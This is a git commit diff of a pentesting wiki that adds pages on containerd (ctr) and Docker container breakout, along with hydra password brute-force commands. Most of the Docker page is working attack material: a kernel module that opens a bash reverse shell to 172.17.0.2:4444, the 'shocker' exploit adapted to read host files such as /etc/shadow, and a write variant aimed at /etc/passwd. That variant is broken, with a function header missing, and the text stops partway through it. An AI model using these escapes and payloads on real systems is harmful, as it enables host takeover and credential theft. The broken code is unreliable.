GitBook: [master] 423 pages and 2 assets modified
This commit is contained in:
parent
d1a46cbb9e
commit
5a0ccf0bd4
Binary file not shown.
After Width: | Height: | Size: 4.6 KiB |
Binary file not shown.
After Width: | Height: | Size: 4.6 KiB |
|
@ -24,9 +24,9 @@
|
|||
|
||||
* [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md)
|
||||
* [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md)
|
||||
* [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [Containerd \(ctr\) Privilege Escalation](linux-unix/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||
* [electron/CEF/chromium debugger abuse](linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md)
|
||||
* [Escaping from a Docker container](linux-unix/privilege-escalation/escaping-from-a-docker-container.md)
|
||||
* [Docker Breakout](linux-unix/privilege-escalation/docker-breakout.md)
|
||||
* [Escaping from restricted shells - Jails](linux-unix/privilege-escalation/escaping-from-limited-bash.md)
|
||||
* [Cisco - vmanage](linux-unix/privilege-escalation/cisco-vmanage.md)
|
||||
* [D-Bus Enumeration & Command Injection Privilege Escalation](linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
|
@ -35,6 +35,8 @@
|
|||
* [ld.so exploit example](linux-unix/privilege-escalation/ld.so.conf-example.md)
|
||||
* [Linux Capabilities](linux-unix/privilege-escalation/linux-capabilities.md)
|
||||
* [NFS no\_root\_squash/no\_all\_squash misconfiguration PE](linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
|
||||
* [RunC Privilege Escalation](linux-unix/privilege-escalation/runc-privilege-escalation.md)
|
||||
* [Splunk LPE and Persistence](linux-unix/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Socket Command Injection](linux-unix/privilege-escalation/socket-command-injection.md)
|
||||
* [Payloads to execute](linux-unix/privilege-escalation/payloads-to-execute.md)
|
||||
|
@ -269,6 +271,7 @@
|
|||
* [3389 - Pentesting RDP](pentesting/pentesting-rdp.md)
|
||||
* [3632 - Pentesting distcc](pentesting/3632-pentesting-distcc.md)
|
||||
* [4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)](pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md)
|
||||
* [5000 - Pentesting Docker Registry](pentesting/5000-pentesting-docker-registry.md)
|
||||
* [5353/UDP Multicast DNS \(mDNS\)](pentesting/5353-udp-multicast-dns-mdns.md)
|
||||
* [5432,5433 - Pentesting Postgresql](pentesting/pentesting-postgresql.md)
|
||||
* [5671,5672 - Pentesting AMQP](pentesting/5671-5672-pentesting-amqp.md)
|
||||
|
|
|
@ -87,13 +87,19 @@ nmap --script cassandra-brute -p 9160 <IP>
|
|||
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
```
|
||||
|
||||
### Docker Registry
|
||||
|
||||
```text
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
|
||||
```
|
||||
|
||||
### Elasticsearch
|
||||
|
||||
```text
|
||||
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
|
||||
### FTP
|
||||
|
|
|
@ -166,7 +166,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
|||
Enumerate useful binaries
|
||||
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc rkt kubectl 2>/dev/null
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
|
||||
Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it \(or in one similar\)
|
||||
|
@ -521,6 +521,18 @@ Now, you can execute commands on the container from this `socat` connection.
|
|||
|
||||
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
### Containerd \(ctr\) privilege escalation
|
||||
|
||||
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
||||
{% page-ref page="containerd-ctr-privilege-escalation.md" %}
|
||||
|
||||
### **RunC** privilege escalation
|
||||
|
||||
If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
||||
{% page-ref page="runc-privilege-escalation.md" %}
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-BUS is an **inter-process communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
# Containerd \(ctr\) Privilege Escalation
|
||||
|
||||
## Basic information
|
||||
|
||||
Go to the following link to learn **what is containerd** and `ctr`:
|
||||
|
||||
{% page-ref page="../../pentesting/2375-pentesting-docker.md" %}
|
||||
|
||||
## PE 1
|
||||
|
||||
if you find that a host contains the `ctr` command:
|
||||
|
||||
```bash
|
||||
which ctr
|
||||
/usr/bin/ctr
|
||||
```
|
||||
|
||||
You can list the images:
|
||||
|
||||
```bash
|
||||
ctr image list
|
||||
REF TYPE DIGEST SIZE PLATFORMS LABELS
|
||||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
|
||||
And then **run one of those images mounting the host root folder to it**:
|
||||
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
|
||||
## PE 2
|
||||
|
||||
Run a container privileged and escape from it.
|
||||
You can run a privileged container as:
|
||||
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
|
||||
Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**:
|
||||
|
||||
{% page-ref page="docker-breakout.md" %}
|
||||
|
|
@ -0,0 +1,932 @@
|
|||
# Docker Breakout
|
||||
|
||||
## Mounted docker socket
|
||||
|
||||
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.
|
||||
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
|
||||
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
|
||||
In this case you can use regular docker commands to communicate with the docker daemon:
|
||||
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
#Run the image mounting the host disk and chroot on it
|
||||
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
## SYS\_ADMIN Capability
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```text
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
|
||||
Securebits: 00/0x0/1'b0
|
||||
secure-noroot: no (unlocked)
|
||||
secure-no-suid-fixup: no (unlocked)
|
||||
secure-keep-caps: no (unlocked)
|
||||
uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the SYS\_ADMIN capability is enabled.
|
||||
|
||||
### Mount
|
||||
|
||||
This allows the docker container to **mount the host disk and access it freely**:
|
||||
|
||||
```bash
|
||||
fdisk -l #Get disk name
|
||||
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
|
||||
mount /dev/sda /mnt/ #Mount it
|
||||
cd /mnt
|
||||
chroot ./ bash #You have a shell inside the docker hosts disk
|
||||
```
|
||||
|
||||
### Full access
|
||||
|
||||
In the previous method we managed to access the docker host disk.
|
||||
In case you find that the host is running an ssh server, you could create a user inside the docker host disk and access it via SSH:
|
||||
|
||||
```bash
|
||||
#Like in the example before, the first step is to moun the dosker host disk
|
||||
fdisk -l
|
||||
mount /dev/sda /mnt/
|
||||
|
||||
#Then, search for open ports inside the docker host
|
||||
nc -v -n -w2 -z 172.17.0.1 1-65535
|
||||
(UNKNOWN) [172.17.0.1] 2222 (?) open
|
||||
|
||||
#finally, create a new user inside the docker host and use it to access via SSH
|
||||
chroot /mnt/ adduser john
|
||||
ssh john@172.17.0.1 -p 2222
|
||||
```
|
||||
|
||||
## SYS\_PTRACE **Capability**
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```text
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
|
||||
Securebits: 00/0x0/1'b0
|
||||
secure-noroot: no (unlocked)
|
||||
secure-no-suid-fixup: no (unlocked)
|
||||
secure-keep-caps: no (unlocked)
|
||||
uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **SYS\_PTRACE** capability is enabled. As a result, the container can **debug processes**. **This mean that you can escape the container by injecting a shellcode inside some process running inside the host.**
|
||||
|
||||
1. List **processes** running in the **host** `ps -eaf`
|
||||
2. Get the **architecture** `uname -m`
|
||||
3. Find a **shellcode** for the architecture \([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)\)
|
||||
4. Find a **program** to **inject** the **shellcode** into a process memory \([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)\)
|
||||
5. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||||
6. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
## SYS\_MODULE Capability
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```text
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
Securebits: 00/0x0/1'b0
|
||||
secure-noroot: no (unlocked)
|
||||
secure-no-suid-fixup: no (unlocked)
|
||||
secure-keep-caps: no (unlocked)
|
||||
uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **SYS\_MODULE** capability is enabled. As a result, the container can **debug processes**. **This mean that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||||
|
||||
**Create** the **kernel module** that is going to execute a reverse shell and the **Makefile** to **compile** it:
|
||||
|
||||
{% code title="reverse-shell.c" %}
|
||||
```c
|
||||
#include <linux/kmod.h>
|
||||
#include <linux/module.h>
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_AUTHOR("AttackDefense");
|
||||
MODULE_DESCRIPTION("LKM reverse shell module");
|
||||
MODULE_VERSION("1.0");
|
||||
|
||||
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
|
||||
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||
|
||||
// call_usermodehelper function is used to create user mode processes from kernel space
|
||||
static int __init reverse_shell_init(void) {
|
||||
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||||
}
|
||||
|
||||
static void __exit reverse_shell_exit(void) {
|
||||
printk(KERN_INFO "Exiting\n");
|
||||
}
|
||||
|
||||
module_init(reverse_shell_init);
|
||||
module_exit(reverse_shell_exit);
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="Makefile" %}
|
||||
```bash
|
||||
obj-m +=reverse-shell.o
|
||||
|
||||
all:
|
||||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||||
|
||||
clean:
|
||||
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
The blank char before each make word in the Makefile **must be a tab, not spaces**!
|
||||
{% endhint %}
|
||||
|
||||
Execute `make` to compile it.
|
||||
|
||||
Finally, start `nc` inside a shell and **load the module** from another one and you will capture the shell in the nc process:
|
||||
|
||||
```bash
|
||||
#Shell 1
|
||||
nc -lvnp 4444
|
||||
|
||||
#Shell 2
|
||||
insmod reverse-shell.ko #Launch the reverse shell
|
||||
```
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/)\*\*\*\*
|
||||
|
||||
## DAC\_READ\_SEARCH Capability
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```text
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
Securebits: 00/0x0/1'b0
|
||||
secure-noroot: no (unlocked)
|
||||
secure-no-suid-fixup: no (unlocked)
|
||||
secure-keep-caps: no (unlocked)
|
||||
uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**. **This mean that you can** **bypass file read and directory permission checks to read arbitrary files.**
|
||||
|
||||
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at\(2\)**_ and **could allow our process to sensitive files opened by other processes**.
|
||||
|
||||
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// gcc shocker.c -o shocker
|
||||
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
|
||||
|
||||
struct my_file_handle {
|
||||
unsigned int handle_bytes;
|
||||
int handle_type;
|
||||
unsigned char f_handle[8];
|
||||
};
|
||||
|
||||
void die(const char * msg) {
|
||||
perror(msg);
|
||||
exit(errno);
|
||||
}
|
||||
|
||||
void dump_handle(const struct my_file_handle * h) {
|
||||
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
|
||||
h -> handle_type);
|
||||
for (int i = 0; i < h -> handle_bytes; ++i) {
|
||||
fprintf(stderr, "0x%02x", h -> f_handle[i]);
|
||||
if ((i + 1) % 20 == 0)
|
||||
fprintf(stderr, "\n");
|
||||
if (i < h -> handle_bytes - 1)
|
||||
fprintf(stderr, ", ");
|
||||
}
|
||||
fprintf(stderr, "};\n");
|
||||
}
|
||||
|
||||
int find_handle(int bfd,
|
||||
const char * path,
|
||||
const struct my_file_handle * ih, struct my_file_handle *
|
||||
oh) {
|
||||
int fd;
|
||||
uint32_t ino = 0;
|
||||
struct my_file_handle outh = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1
|
||||
};
|
||||
DIR * dir = NULL;
|
||||
struct dirent * de = NULL;
|
||||
path = strchr(path, '/');
|
||||
// recursion stops if path has been resolved
|
||||
if (!path) {
|
||||
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
|
||||
oh -> handle_type = 1;
|
||||
oh -> handle_bytes = 8;
|
||||
return 1;
|
||||
}
|
||||
++path;
|
||||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||||
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
|
||||
die("[-] open_by_handle_at");
|
||||
if ((dir = fdopendir(fd)) == NULL)
|
||||
die("[-] fdopendir");
|
||||
for (;;) {
|
||||
de = readdir(dir);
|
||||
if (!de)
|
||||
break;
|
||||
fprintf(stderr, "[*] Found %s\n", de -> d_name);
|
||||
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
|
||||
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
|
||||
ino = de -> d_ino;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||||
if (de) {
|
||||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||||
outh.handle_bytes = 8;
|
||||
outh.handle_type = 1;
|
||||
memcpy(outh.f_handle, & ino, sizeof(ino));
|
||||
memcpy(outh.f_handle + 4, & i, sizeof(i));
|
||||
if ((i % (1 << 20)) == 0)
|
||||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
|
||||
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
dump_handle( & outh);
|
||||
return find_handle(bfd, path, & outh, oh);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[]) {
|
||||
char buf[0x1000];
|
||||
int fd1, fd2;
|
||||
struct my_file_handle h;
|
||||
struct my_file_handle root_h = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1,
|
||||
.f_handle = {
|
||||
0x02,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
}
|
||||
};
|
||||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||||
read(0, buf, 1);
|
||||
// get a FS reference from something mounted in from outside
|
||||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||||
die("[-] open");
|
||||
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
|
||||
die("[-] Cannot find valid handle!");
|
||||
fprintf(stderr, "[!] Got a final handle!\n");
|
||||
dump_handle( & h);
|
||||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
|
||||
die("[-] open_by_handle");
|
||||
char * line = NULL;
|
||||
size_t len = 0;
|
||||
FILE * fptr;
|
||||
ssize_t read;
|
||||
fptr = fopen(argv[2], "r");
|
||||
while ((read = getline( & line, & len, fptr)) != -1) {
|
||||
write(fd2, line, read);
|
||||
}
|
||||
printf("Success!!\n");
|
||||
close(fd2);
|
||||
close(fd1);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file `/.dockerinit` and this modified version uses `/etc/hostname`. **If the exploit isn't working** maybe you need to set a different file. To find a file that is mounted in the host just execute `mount` command:
|
||||
{% endhint %}
|
||||
|
||||
![](../../.gitbook/assets/image%20%28172%29.png)
|
||||
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com/)\*\*\*\*
|
||||
|
||||
## DAC\_READ_\__SEARCH & DAC\_OVERRIDE Capabilities
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```text
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
Securebits: 00/0x0/1'b0
|
||||
secure-noroot: no (unlocked)
|
||||
secure-no-suid-fixup: no (unlocked)
|
||||
secure-keep-caps: no (unlocked)
|
||||
uid=0(root)
|
||||
gid=0(root)
|
||||
groups=0(root)
|
||||
```
|
||||
|
||||
Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**. **This mean that you can bypass the file read and write permission checks on any file.**
|
||||
|
||||
First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](docker-breakout.md#dac_read_search-capability) of the host and **compile** the exploit.
|
||||
Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// gcc shocker_write.c -o shocker_write
|
||||
// ./shocker_write /etc/passwd passwd
|
||||
|
||||
struct my_file_handle {
|
||||
unsigned int handle_bytes;
|
||||
int handle_type;
|
||||
unsigned char f_handle[8];
|
||||
};
|
||||
void die(const char * msg) {
|
||||
perror(msg);
|
||||
exit(errno);
|
||||
}
|
||||
void dump_handle(const struct my_file_handle * h) {
|
||||
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
|
||||
h -> handle_type);
|
||||
for (int i = 0; i < h -> handle_bytes; ++i) {
|
||||
fprintf(stderr, "0x%02x", h -> f_handle[i]);
|
||||
if ((i + 1) % 20 == 0)
|
||||
fprintf(stderr, "\n");
|
||||
if (i < h -> handle_bytes - 1)
|
||||
fprintf(stderr, ", ");
|
||||
}
|
||||
fprintf(stderr, "};\n");
|
||||
} {
|
||||
int fd;
|
||||
uint32_t ino = 0;
|
||||
struct my_file_handle outh = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1
|
||||
};
|
||||
DIR * dir = NULL;
|
||||
struct dirent * de = NULL;
|
||||
path = strchr(path, '/');
|
||||
// recursion stops if path has been resolved
|
||||
if (!path) {
|
||||
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
|
||||
oh -> handle_type = 1;
|
||||
oh -> handle_bytes = 8;
|
||||
return 1;
|
||||
}
|
||||
++path;
|
||||
fprintf(stderr, "[*] Resolving '%s'\n", path);
|
||||
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
|
||||
die("[-] open_by_handle_at");
|
||||
if ((dir = fdopendir(fd)) == NULL)
|
||||
die("[-] fdopendir");
|
||||
for (;;) {
|
||||
de = readdir(dir);
|
||||
if (!de)
|
||||
break;
|
||||
fprintf(stderr, "[*] Found %s\n", de -> d_name);
|
||||
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
|
||||
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
|
||||
ino = de -> d_ino;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
|
||||
if (de) {
|
||||
for (uint32_t i = 0; i < 0xffffffff; ++i) {
|
||||
outh.handle_bytes = 8;
|
||||
outh.handle_type = 1;
|
||||
memcpy(outh.f_handle, & ino, sizeof(ino));
|
||||
memcpy(outh.f_handle + 4, & i, sizeof(i));
|
||||
if ((i % (1 << 20)) == 0)
|
||||
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
|
||||
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
dump_handle( & outh);
|
||||
return find_handle(bfd, path, & outh, oh);
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
int main(int argc, char * argv[]) {
|
||||
char buf[0x1000];
|
||||
int fd1, fd2;
|
||||
struct my_file_handle h;
|
||||
struct my_file_handle root_h = {
|
||||
.handle_bytes = 8,
|
||||
.handle_type = 1,
|
||||
.f_handle = {
|
||||
0x02,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0
|
||||
}
|
||||
};
|
||||
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
|
||||
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
|
||||
"[***] If you have pending sec consulting, I'll happily [***]\n"
|
||||
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
|
||||
read(0, buf, 1);
|
||||
// get a FS reference from something mounted in from outside
|
||||
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
|
||||
die("[-] open");
|
||||
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
|
||||
die("[-] Cannot find valid handle!");
|
||||
fprintf(stderr, "[!] Got a final handle!\n");
|
||||
dump_handle( & h);
|
||||
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
|
||||
die("[-] open_by_handle");
|
||||
char * line = NULL;
|
||||
size_t len = 0;
|
||||
FILE * fptr;
|
||||
ssize_t read;
|
||||
